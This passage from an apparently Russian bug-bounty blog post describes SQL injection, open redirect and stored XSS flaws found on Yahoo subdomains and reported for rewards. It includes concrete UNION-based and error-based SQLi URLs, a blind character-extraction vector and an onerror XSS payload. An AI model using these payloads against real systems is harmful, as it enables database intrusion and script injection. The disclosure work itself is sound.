href=\"http:\/\/ca.sports.yahoo.com\/mlb\/stats\/byposition?pos=1B&#038;conference=MLB&#038;year=season_2013&#038;qualified=1&#038;sort=0\">ca.sports.yahoo.com\/mlb\/stats\/byposition?pos=1B&#038;conference=MLB&#038;year=season_2013&#038;qualified=1&#038;sort=0<\/a><br \/>  <a href=\"http:\/\/ca.sports.yahoo.com\/mlb\/stats\/byteam?cat=Overall&#038;cut_type=0&#038;sort=722&#038;conference=MLB&#038;year=postseason_2013\">ca.sports.yahoo.com\/mlb\/stats\/byteam?cat=Overall&#038;cut_type=0&#038;sort=722&#038;conference=MLB&#038;year=postseason_2013<\/a><br \/>  <a href=\"http:\/\/ca.sports.yahoo.com\/mlb\/standings?type=regular&#038;year=season_2013\">ca.sports.yahoo.com\/mlb\/standings?type=regular&#038;year=season_2013<\/a> <br \/>  <a href=\"http:\/\/sports.yahoo.com\/wnba\/stats\/bycategory?cat=Fielding&#038;conference=WNBA&#038;year=2013&#038;sort=29\">sports.yahoo.com\/wnba\/stats\/bycategory?cat=Fielding&#038;conference=WNBA&#038;year=2013&#038;sort=29<\/a><\/p><\/blockquote>\n<p>  \u041a\u0430\u0442\u0435\u0433\u043e\u0440\u0438\u0438:  <\/p>\n<blockquote><p><a href=\"http:\/\/sports.yahoo.com\/wnba\/stats\/byteam?cat1=Splits&#038;cat2=140&#038;conference=WNBA&#038;year=2013\">sports.yahoo.com\/wnba\/stats\/byteam?cat1=Splits&#038;cat2=140&#038;conference=WNBA&#038;year=2013<\/a><\/p><\/blockquote>\n<p>  \u041d\u0435\u0434\u0435\u043b\u0438:  <\/p>\n<blockquote><p><a href=\"http:\/\/racing.fantasysports.yahoo.com\/auto\/expertpicks?week=35\">racing.fantasysports.yahoo.com\/auto\/expertpicks?week=35<\/a><br \/>  <a href=\"http:\/\/racing.fantasysports.yahoo.com\/auto\/playerdistribution?week=35\">racing.fantasysports.yahoo.com\/auto\/playerdistribution?week=35<\/a> <\/p><\/blockquote>\n<p>  \u0418 \u0434\u0440\u0443\u0433\u0438\u0435 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b (stat1\/2):  <\/p>\n<blockquote><p><a href=\"http:\/\/baseball.fantasysports.yahoo.com\/b1\/176043\/1?date=2013-09-29&#038;stat1=SPS&#038;stat2=54_2013\">baseball.fantasysports.yahoo.com\/b1\/176043\/1?date=2013-09-29&#038;stat1=SPS&#038;stat2=54_2013<\/a><br \/>  <a href=\"http:\/\/football.fantasysports.yahoo.com\/f1\/1064329\/2\/team?week=12&#038;stat1=SPS&#038;stat2=37_2013\">football.fantasysports.yahoo.com\/f1\/1064329\/2\/team?week=12&#038;stat1=SPS&#038;stat2=37_2013<\/a><br \/>  <a href=\"http:\/\/baseball.fantasysports.yahoo.com\/b1\/176043\/players?status=A&#038;pos=B&#038;cut_type=33&#038;stat1=S_S_2013&#038;myteam=0&#038;sort=AR&#038;sdir=1\">baseball.fantasysports.yahoo.com\/b1\/176043\/players?status=A&#038;pos=B&#038;cut_type=33&#038;stat1=S_S_2013&#038;myteam=0&#038;sort=AR&#038;sdir=1<\/a><br \/>  <a href=\"http:\/\/basketball.fantasysports.yahoo.com\/nba\/57114\/3\/team?stat1=S&#038;stat2=S_2012\">basketball.fantasysports.yahoo.com\/nba\/57114\/3\/team?stat1=S&#038;stat2=S_2012<\/a><br \/>  <a href=\"http:\/\/basketball.fantasysports.yahoo.com\/nba\/57114\/players?status=3&#038;pos=P&#038;cut_type=33&#038;stat1=S_AS_2013&#038;myteam=0&#038;sort=10&#038;sdir=1\">basketball.fantasysports.yahoo.com\/nba\/57114\/players?status=3&#038;pos=P&#038;cut_type=33&#038;stat1=S_AS_2013&#038;myteam=0&#038;sort=10&#038;sdir=1<\/a><\/p><\/blockquote>\n<p>  \u0412 \u0438\u0442\u043e\u0433\u0435 \u044f \u043f\u043e\u043b\u0443\u0447\u0438\u043b: <br \/>   \u2014 Union select \u2014 \u0433\u0434\u0435-\u0442\u043e \u043e\u0434\u043d\u043e\u0441\u0442\u0440\u043e\u0447\u043d\u044b\u0439, \u0433\u0434\u0435-\u0442\u043e \u043c\u043d\u043e\u0433\u043e\u0441\u0442\u0440\u043e\u0447\u043d\u044b\u0439. <br \/>   \u2014 \u0414\u043e\u0441\u0442\u0443\u043f \u043a \u0442\u0430\u0431\u043b\u0438\u0446\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u0441 \u0445\u044d\u0448\u0430\u043c\u0438 \u043f\u0430\u0440\u043e\u043b\u0435\u0439, \u0447\u0430\u0441\u0442\u044c \u0438\u0437 \u043d\u0438\u0445 \u0431\u044b\u043b\u0430 \u0441 \u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c USERNAME@%<br \/>   \u2014 \u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0432 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u0443\u044e @@hostname \u0441\u0442\u0430\u043b\u043e \u043f\u043e\u043d\u044f\u0442\u043d\u043e, \u0447\u0442\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u043f\u0443\u043b \u0438\u0437 40+ \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432. \u041f\u0440\u0438\u0447\u0451\u043c \u043f\u043e\u043b\u043e\u0432\u0438\u043d\u0430 \u0438\u0437 \u043d\u0438\u0445 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u0430 \u0438\u0437 \u0432\u043d\u0435 \u0438 \u043e\u0442\u043a\u0440\u044b\u0442 \u043f\u043e\u0440\u0442 MySQL. \u041f\u043e \u043c\u043e\u0438\u043c \u0442\u0435\u0441\u0442\u0430\u043c \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u0435 \u043a \u043d\u0435\u043c\u0443 \u043d\u0435 \u0431\u044b\u043b\u043e \u0437\u0430\u043a\u0440\u044b\u0442\u044b \u0444\u0430\u0439\u0435\u0440\u0432\u043e\u043b\u043e\u043c. \u0410 \u043a\u0430\u043a \u044f \u0441\u043a\u0430\u0437\u0430\u043b \u0440\u0430\u043d\u0435\u0435 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 \u043f\u0440\u0430\u0432 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0411\u0414 \u0431\u044b\u043b\u0438 \u0442\u0430\u043a\u043e\u0432\u044b, \u0447\u0442\u043e \u0434\u0430\u0432\u0430\u043b\u0438 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0442\u0430\u0431\u043b\u0438\u0446\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u0441 \u0445\u044d\u0448\u0430\u043c\u0438. \u0418 \u043f\u0440\u0438 \u043d\u0430\u043b\u0438\u0447\u0438\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u0441 \u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c \u043e\u0442\u043e\u0432\u0441\u044e\u0434\u0443 \u044d\u0442\u043e \u043e\u0447\u0435\u043d\u044c \u043d\u0435 \u0445\u043e\u0440\u043e\u0448\u043e. \u0425\u043e\u0442\u044f \u0445\u044d\u0448\u0438 \u044f \u0440\u0435\u0432\u0435\u0440\u0441\u0438\u0442\u044c \u043d\u0435 \u0441\u0442\u0430\u043b.<br \/>   \u2014 \u0412 \u0447\u0430\u0441\u0442\u0438 \u0441\u043a\u0440\u0438\u043f\u0442\u043e\u0432, \u0433\u0434\u0435 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440 \u0432\u044b\u0433\u043b\u044f\u0434\u0435\u043b \u043a\u0430\u043a <i>year=postseason_2013<\/i> \u043d\u0435 \u0443\u0434\u0430\u0432\u0430\u043b\u043e\u0441\u044c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a information_schema, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440 \u0431\u0438\u043b\u0441\u044f \u043f\u043e \u0441\u0438\u043c\u0432\u043e\u043b\u0443 \u043f\u043e\u0434\u0447\u0451\u0440\u043a\u0438\u0432\u0430\u043d\u0438\u044f. \u041d\u043e \u0432 \u0434\u0440\u0443\u0433\u0438\u0445 \u0443\u0440\u043b\u0430\u0445 \u044d\u0442\u043e \u0443\u0434\u0430\u043b\u043e\u0441\u044c, \u043f\u0440\u0430\u0432\u0434\u0430 \u0434\u043b\u044f \u044d\u0442\u043e\u0433\u043e \u043f\u0440\u0438\u0448\u043b\u043e\u0441\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c hex, \u0431\u0435\u0437 \u044d\u0442\u043e\u0433\u043e \u043f\u043e\u0447\u0435\u043c\u0443-\u0442\u043e \u043d\u0435 \u0432\u044b\u0432\u043e\u0434\u0438\u043b\u043e\u0441\u044c.<\/p>\n<p>  \u041e\u0434\u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0431\u044b\u043b\u0430 \u0432\u0435\u0441\u044c\u043c\u0430 \u0437\u0430\u0431\u0430\u0432\u043d\u043e\u0439:<br \/>  <i><a href=\"http:\/\/racing.fantasysports.yahoo.com\/auto\/playerdistribution?week=35\">racing.fantasysports.yahoo.com\/auto\/playerdistribution?week=35<\/a><\/i><br \/>  \u0412 \u043d\u0435\u0439 \u0441\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u043b UNION SELECT:<br \/>  <i><a href=\"http:\/\/racing.fantasysports.yahoo.com\/auto\/playerdistribution?week=0%20union%20select%201,2,3%20--%20and%201=2\">http:\/\/racing.fantasysports.yahoo.com\/auto\/playerdistribution?week=0%20union%20select%201,2,3%20&#8212;%20and%201=2<\/a><\/i><br \/>  \u041f\u0440\u0438 \u043f\u043e\u0434\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0435 \u0441\u0442\u0440\u043e\u043a\u043e\u0432\u044b\u0445 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043e\u0432 \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u043f\u043e\u043b\u0443\u0447\u0430\u043b\u043e\u0441\u044c. \u0418 \u043d\u0430 \u043f\u0435\u0440\u0432\u044b\u0439 \u0432\u0437\u0433\u043b\u044f\u0434 \u2014 \u043e\u043d \u043d\u0435 \u0434\u0430\u0432\u0430\u043b \u043d\u0438\u043a\u0430\u043a\u043e\u0439 \u0432\u044b\u0432\u043e\u0434, \u043d\u043e \u043f\u043e\u043a\u0440\u0443\u0442\u0438\u0432 \u0443\u0440\u043b \u0438 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b \u0441\u0442\u0430\u043b\u043e \u043f\u043e\u043d\u044f\u0442\u043d\u043e, \u0447\u0442\u043e \u0438\u0437 \u044d\u0442\u0438\u0445 \u0442\u0440\u0451\u0445 \u0446\u0438\u0444\u0440 \u0441\u043e\u0431\u0438\u0440\u0430\u0435\u0442\u0441\u044f \u043f\u0440\u043e\u0446\u0435\u043d\u0442. \u0418, \u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e \u0438\u0445 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f, \u043c\u043e\u0436\u043d\u043e \u0438\u0437 \u0441\u043b\u0435\u043f\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0438 \u0431\u0435\u0441\u043f\u043e\u043b\u0435\u0437\u043d\u043e\u0433\u043e UNION \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u00ab\u043e\u0434\u0438\u043d \u0437\u0430\u043f\u0440\u043e\u0441 \u2014 \u043e\u0434\u0438\u043d \u0441\u0438\u043c\u0432\u043e\u043b\u00bb. \u0412\u0435\u043a\u0442\u043e\u0440 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439:<br \/>  <code>union select 1, ord(substr(user(),1,1))\/100,1<\/code><br \/>  \u0427\u0442\u043e \u0434\u0430\u0451\u0442 \u0432 \u0438\u0442\u043e\u0433\u0435 \u043a\u043e\u0434 \u043f\u0435\u0440\u0432\u043e\u0433\u043e \u0441\u0438\u043c\u0432\u043e\u043b\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0431\u0430\u0437\u044b \u0434\u0430\u043d\u043d\u044b\u0445. <\/p>\n<p>  \u0412 \u044d\u0442\u043e\u0442 \u043c\u043e\u043c\u0435\u043d\u0442 \u044f \u043f\u043e\u043b\u0443\u0447\u0438\u043b \u043f\u0438\u0441\u044c\u043c\u043e:<br \/>  <img decoding=\"async\" src=\"http:\/\/habrastorage.org\/getpro\/habr\/post_images\/4b0\/dbb\/d98\/4b0dbbd98dcbaa2d108505bf3239d5f4.png\" alt=\"SQLi \u043d\u0430 *.sports.yahoo.com\"\/><br \/>  \u0418 \u0431\u043e\u043b\u044c\u0448\u0435 \u043d\u0430 \u044d\u0442\u043e\u043c \u0434\u043e\u043c\u0435\u043d\u0435 SQL \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u044f \u043d\u0435 \u043d\u0430\u0448\u0451\u043b. \u041e\u043f\u0435\u0440\u0430\u0442\u0438\u0432\u043d\u043e \u0432\u0441\u0451 \u043f\u0440\u0438\u043a\u0440\u044b\u043b\u0438.<\/p>\n<h5>\u0427\u0430\u0441\u0442\u044c \u0442\u0440\u0435\u0442\u044c\u044f. Open redirect \u043d\u0430 m.yahoo.com.<\/h5>\n<p>  \u0411\u0440\u043e\u0434\u044f \u043f\u043e \u0434\u043e\u043c\u0435\u043d\u0443 m.yahoo.com, \u0441\u0430\u043c \u043d\u0435 \u0437\u043d\u0430\u044e \u0447\u0442\u043e \u0441\u0434\u0435\u043b\u0430\u043b (\u0432 \u043e\u0442\u0447\u0451\u0442\u0435 \u0432\u044b\u043d\u0443\u0436\u0434\u0435\u043d \u0431\u044b\u043b \u0442\u0430\u043a \u0438 \u043d\u0430\u043f\u0438\u0441\u0430\u0442\u044c: <i>dark side of reproduce this bug<\/i>), \u043d\u043e \u043f\u043e\u0441\u043b\u0435 \u043e\u0447\u0435\u0440\u0435\u0434\u043d\u043e\u0433\u043e \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b \u043f\u043e\u043b\u0443\u0447\u0438\u043b \u0444\u043e\u0440\u043c\u0443 \u0432\u0438\u0434\u0430:  <\/p>\n<blockquote><p>Welcome to Yahoo<br \/>  Thanks for signing in!<br \/>  It looks like you customized your Home Page before you signed in. What would you like to do?  <\/p>\n<ul>\n<li>[radiobutton] Move the existing settings to my Yahoo ID<\/li>\n<li>[radiobutton] Ignore the existing settings<\/li>\n<li>[radiobutton] Not sure, show me a preview<\/li>\n<\/ul>\n<\/blockquote>\n<p>  \u041d\u0430 \u0432\u0441\u044f\u043a\u0438\u0439 \u0441\u043b\u0443\u0447\u0430\u0439 \u0432\u044b\u0431\u0440\u0430\u043b \u00abNot sure\u00bb. \u0418 \u043f\u043e\u043b\u0443\u0447\u0438\u043b POST-\u0437\u0430\u043f\u0440\u043e\u0441 \u043d\u0430 \u0443\u0440\u043b:<br \/>  <i><a href=\"http:\/\/m.yahoo.com\/w\/ygo-frontpage\/login\/mergesubmit.bp?.ts=1385212848&#038;.intl=us&#038;.lang=en\">m.yahoo.com\/w\/ygo-frontpage\/login\/mergesubmit.bp?.ts=1385212848&#038;.intl=us&#038;.lang=en<\/a><\/i><br \/>  \u041f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u043b \u0432 \u043b\u043e\u0433 Firebug&#8217;\u0430 \u0438 \u0441\u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043b \u044d\u0442\u043e\u0442 \u0437\u0430\u043f\u0440\u043e\u0441 \u0432 GET:<br \/>  <i><a href=\"http:\/\/m.yahoo.com\/w\/ygo-frontpage\/login\/mergesubmit.bp?.ts=1385212848&#038;.intl=us&#038;.lang=en&#038;__submit=Continue&#038;choice=preview&#038;done=&#038;hid=uqacAfM-&#038;ycb=z5H1KI8rvxS\">m.yahoo.com\/w\/ygo-frontpage\/login\/mergesubmit.bp?.ts=1385212848&#038;.intl=us&#038;.lang=en&#038;__submit=Continue&#038;choice=preview&#038;done=&#038;hid=uqacAfM-&#038;ycb=z5H1KI8rvxS<\/a><\/i><br \/>  \u0412\u0441\u0451 \u0441\u0440\u0430\u0431\u043e\u0442\u0430\u043b\u043e \u2014 \u0447\u0442\u043e \u0441\u0430\u043c\u043e \u043f\u043e \u0441\u0435\u0431\u0435 \u0443\u0436\u0435 \u0441\u0442\u0440\u0430\u043d\u043d\u043e. \u041d\u043e \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u0435\u0442\u0441\u044f \u044d\u0442\u043e \u0434\u043e\u0432\u043e\u043b\u044c\u043d\u043e \u0447\u0430\u0441\u0442\u043e, \u043a\u043e\u0433\u0434\u0430, \u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u044f POST-\u0437\u0430\u043f\u0440\u043e\u0441, \u0432\u043c\u0435\u0441\u0442\u043e \u0433\u043b\u043e\u0431\u0430\u043b\u044c\u043d\u043e\u0439 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u0439 <i>$_POST<\/i> \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u0433\u043b\u043e\u0431\u0430\u043b\u044c\u043d\u0443\u044e \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u0443\u044e <i>$_REQUEST<\/i>. \u042f \u043e\u0436\u0438\u0434\u0430\u043b \u043d\u0430\u0439\u0442\u0438 XSS, \u043d\u043e \u0432\u044b\u0441\u0442\u0430\u0432\u0438\u0432 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440 <i>done<\/i>, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e\u0432\u0441\u0435\u043c\u0435\u0441\u0442\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0434\u043b\u044f \u0437\u0430\u0434\u0430\u043d\u0438\u044f \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b \u0432\u043e\u0437\u0432\u0440\u0430\u0442\u0430, \u0438 \u00ab\u0438\u0441\u043f\u043e\u0440\u0442\u0438\u0432\u00bb \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440 <i>ycb<\/i> \u044f \u043f\u043e\u043b\u0443\u0447\u0438\u043b \u043d\u0435\u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u0443\u0435\u043c\u044b\u0439 \u0440\u0435\u0434\u0438\u0440\u0435\u043a\u0442:<br \/>  <i><a href=\"http:\/\/m.yahoo.com\/w\/ygo-frontpage\/login\/mergesubmit.bp?.ts=1385212848&amp;.intl=us&amp;.lang=en&amp;__submit=Continue&amp;choice=preview&amp;done=http:\/\/example.com&amp;hid=zzzzzzz&amp;ycb=MALFORMED\">http:\/\/m.yahoo.com\/w\/ygo-frontpage\/login\/mergesubmit.bp?.ts=1385212848&#038;.intl=us&#038;.lang=en&#038;__submit=Continue&#038;choice=preview&#038;done=http:\/\/example.com&#038;hid=zzzzzzz&#038;ycb=MALFORMED<\/a><\/i><\/p>\n<p>  \u041f\u044b\u0442\u043b\u0438\u0432\u044b\u0439 \u0447\u0438\u0442\u0430\u0442\u0435\u043b\u044c, \u0434\u043e\u0431\u0440\u0430\u0432\u0448\u0438\u0441\u044c \u0434\u043e \u044d\u0442\u043e\u0433\u043e \u043c\u0435\u0441\u0442\u0430, \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u043e\u0442\u0432\u0435\u0442 \u043d\u0430 \u043c\u043e\u043b\u0447\u0430\u043b\u0438\u0432\u044b\u0439 \u0432\u043e\u043f\u0440\u043e\u0441: \u00ab\u0427\u0442\u043e \u0437\u0430 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a \u0442\u0430\u043a\u043e\u0439?!\u00bb. \u0418\u043c\u0435\u043d\u043d\u043e \u0437\u0430 \u044d\u0442\u0443 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c Yahoo \u0437\u0430\u043f\u043b\u0430\u0442\u0438\u043b 394 \u0434\u043e\u043b\u043b\u0430\u0440\u0430.<\/p>\n<h5>\u0427\u0430\u0441\u0442\u044c \u0447\u0435\u0442\u0432\u0451\u0440\u0442\u0430\u044f. SQLi \u043d\u0430 hk.promotion.yahoo.net.<\/h5>\n<p>  \u0422\u0443\u0442 \u0441\u0438\u0442\u0443\u0430\u0446\u0438\u044f \u0431\u044b\u043b\u0430 \u0442\u0430\u043a\u0430\u044f. \u0421\u043d\u0430\u0447\u0430\u043b\u0430 \u044f \u043d\u0430\u0448\u0451\u043b \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u0430 \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u043e\u0442\u043e\u043c \u043f\u043e\u043d\u044f\u043b, \u0447\u0442\u043e \u0444\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u043e \u043f\u043e\u0434\u0434\u043e\u043c\u0435\u043d yahoo.net \u043d\u0435 \u0432\u0445\u043e\u0434\u0438\u0442 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0443. \u041d\u043e \u0440\u0430\u0437 \u0443\u0436 \u043d\u0430\u0448\u0451\u043b, \u0442\u043e \u043f\u043e\u0441\u043b\u0430\u043b. \u0412 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u2014 \u043d\u0435 \u0437\u0440\u044f. \u0417\u0430\u043f\u043b\u0430\u0442\u0438\u043b\u0438 \u0438 \u0437\u0430 \u044d\u0442\u0443 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c.<\/p>\n<p>  \u0422\u0443\u0442 \u0432\u0441\u0451 \u0431\u044b\u043b\u043e \u043f\u0440\u043e\u0441\u0442\u043e \u0438 \u043e\u0431\u044b\u0447\u043d\u043e, error-based SQLi:<br \/>  <i><a href=\"http:\/\/hk.promotion.yahoo.net\/comments\/service.php?q=retrieve_comments&amp;comment_url=http:\/\/hk.promotion.yahoo.net\/education\/secschool\/tutorial\/%27%20AND%20%28SELECT%206898%20FROM%28SELECT%20COUNT%28*%29,CONCAT%280x3a766f763a,user%28%29,0x3a7661793a,FLOOR%28RAND%280%29*2%29%29x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x%29a%29%20AND%20%27cQlK%27=%27cQlK&amp;page=0&amp;no_of_comment=3&amp;callback=jQuery18309010937072284149_1385387977539&amp;_=1385387978928\">http:\/\/hk.promotion.yahoo.net\/comments\/service.php?q=retrieve_comments&#038;comment_url=http:\/\/hk.promotion.yahoo.net\/education\/secschool\/tutorial\/%27%20AND%20%28SELECT%206898%20FROM%28SELECT%20COUNT%28*%29,CONCAT%280x3a766f763a,user%28%29,0x3a7661793a,FLOOR%28RAND%280%29*2%29%29x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x%29a%29%20AND%20%27cQlK%27=%27cQlK&#038;page=0&#038;no_of_comment=3&#038;callback=jQuery18309010937072284149_1385387977539&#038;_=1385387978928<\/a><\/i><\/p>\n<h5>\u0427\u0430\u0441\u0442\u044c \u043f\u044f\u0442\u0430\u044f, \u043f\u043e\u043a\u0430 \u0447\u0442\u043e \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u044f\u044f. XSS \u043d\u0430 info.yahoo.com.<\/h5>\n<p>  \u041e\u0447\u0435\u0440\u0435\u0434\u043d\u043e\u0439 \u0443\u0440\u043b \u043f\u043e\u043f\u0430\u043b \u043f\u043e\u0434 \u043f\u0440\u0435\u043f\u0430\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 (\u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u0434\u043b\u044f \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f). <br \/>  <i><a href=\"http:\/\/info.yahoo.com\/_xhr\/mtf_popup\/?url=http%3A%2F%2Finfo.yahoo.com%2Fpress-center%2Farticle%2Fyahoo-enters-amendment-share-repurchase-200500390.html&amp;site=info&amp;region=US&amp;lang=en-US&amp;alias_id=yahoo-enters-amendment-share-repurchase-200500390\">http:\/\/info.yahoo.com\/_xhr\/mtf_popup\/?url=http%3A%2F%2Finfo.yahoo.com%2Fpress-center%2Farticle%2Fyahoo-enters-amendment-share-repurchase-200500390.html&#038;site=info&#038;region=US&#038;lang=en-US&#038;alias_id=yahoo-enters-amendment-share-repurchase-200500390<\/a><\/i><\/p>\n<p>  \u0421\u0443\u0442\u044c \u0443\u0440\u043b\u0430 \u2014 \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u0434\u0440\u0443\u0433\u0443 \u043f\u0438\u0441\u044c\u043c\u043e \u0441\u043e \u0441\u0441\u044b\u043b\u043a\u043e\u0439 \u043d\u0430 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0443, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u043d\u0440\u0430\u0432\u0438\u043b\u0430\u0441\u044c. \u041d\u043e \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0430 \u0437\u0430\u0447\u0435\u043c-\u0442\u043e \u043f\u043e\u0434\u0433\u0440\u0443\u0436\u0430\u043b\u0430\u0441\u044c \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c \u0438 \u0432\u044b\u0432\u043e\u0434\u0438\u043b\u0430\u0441\u044c \u0435\u0451 \u0447\u0430\u0441\u0442\u044c.<br \/>  <img decoding=\"async\" src=\"http:\/\/habrastorage.org\/getpro\/habr\/post_images\/8b6\/5d6\/d30\/8b65d6d3064dae70e7953e24d90040dd.png\" alt=\"XSS \u043d\u0430 info.yahoo.com\"\/><br \/>  \u0421\u043a\u0440\u0438\u043f\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u043b \u043e\u0431\u0440\u0430\u0442\u0438\u0442\u044c\u0441\u044f \u043d\u0430 \u043b\u044e\u0431\u043e\u0439 \u0434\u043e\u043c\u0435\u043d \u0438 \u043b\u044e\u0431\u043e\u0439 \u043f\u043e\u0440\u0442. \u0420\u0430\u0431\u043e\u0442\u0430\u043b\u0438 \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u044b http \u0438 https. \u0418\u0437\u0443\u0447\u0438\u0432 \u0438\u0441\u0445\u043e\u0434\u043d\u0443\u044e \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0443, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0434\u0433\u0440\u0443\u0436\u0430\u043b\u0430\u0441\u044c, \u0438 \u0432\u044b\u0432\u043e\u0434, \u0441\u0442\u0430\u043b\u043e \u043f\u043e\u043d\u044f\u0442\u043d\u043e, \u0447\u0442\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442\u0441\u044f meta-\u0442\u044d\u0433\u0438 <i>og:title<\/i> \u0438 <i>og:description<\/i>. \u0421\u043a\u0430\u0447\u0430\u0432 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0443 \u043a \u0441\u0435\u0431\u0435 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440 \u0438 \u043f\u043e\u043c\u0435\u043d\u044f\u0432 meta-\u0442\u044d\u0433 \u043d\u0430:  <\/p>\n<pre><code class=\"html\">&lt;meta property=&quot;og:title&quot; content=&quot;og &lt;img src=asdf onerror='alert(\\&quot;xss\\&quot;)'&gt; Yahoo Enters into Amendment to Share Repurchase and Preference Sale Agreement with Alibaba&quot;\/&gt; <\/code><\/pre>\n<p>  \u041f\u043e\u043b\u0443\u0447\u0438\u043b \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0449\u0438\u0439 XSS. \u041e\u043f\u044f\u0442\u044c \u0436\u0435 \u043f\u043e \u0441\u0443\u0442\u0438 \u0441\u0432\u043e\u0435\u0439 \u0445\u0440\u0430\u043d\u0438\u043c\u044b\u0439. \u0412 \u0442\u043e\u043c \u0441\u043c\u044b\u0441\u043b\u0435 \u0447\u0442\u043e \u0437\u0430\u0449\u0438\u0442\u044b \u043e\u0442 \u043e\u0442\u0440\u0430\u0436\u0451\u043d\u043d\u044b\u0445 XSS, \u043a\u0430\u043a \u0432 Chrome, \u043e\u0442 \u043d\u0435\u0433\u043e \u043d\u0435 \u0441\u043f\u0430\u0441\u0443\u0442.<\/p>\n<h5>\u0417\u0430\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435.<\/h5>\n<p>  \u042f \u0440\u0430\u0441\u0441\u043a\u0430\u0437\u0430\u043b \u043b\u0438\u0448\u044c \u043e \u0447\u0430\u0441\u0442\u0438 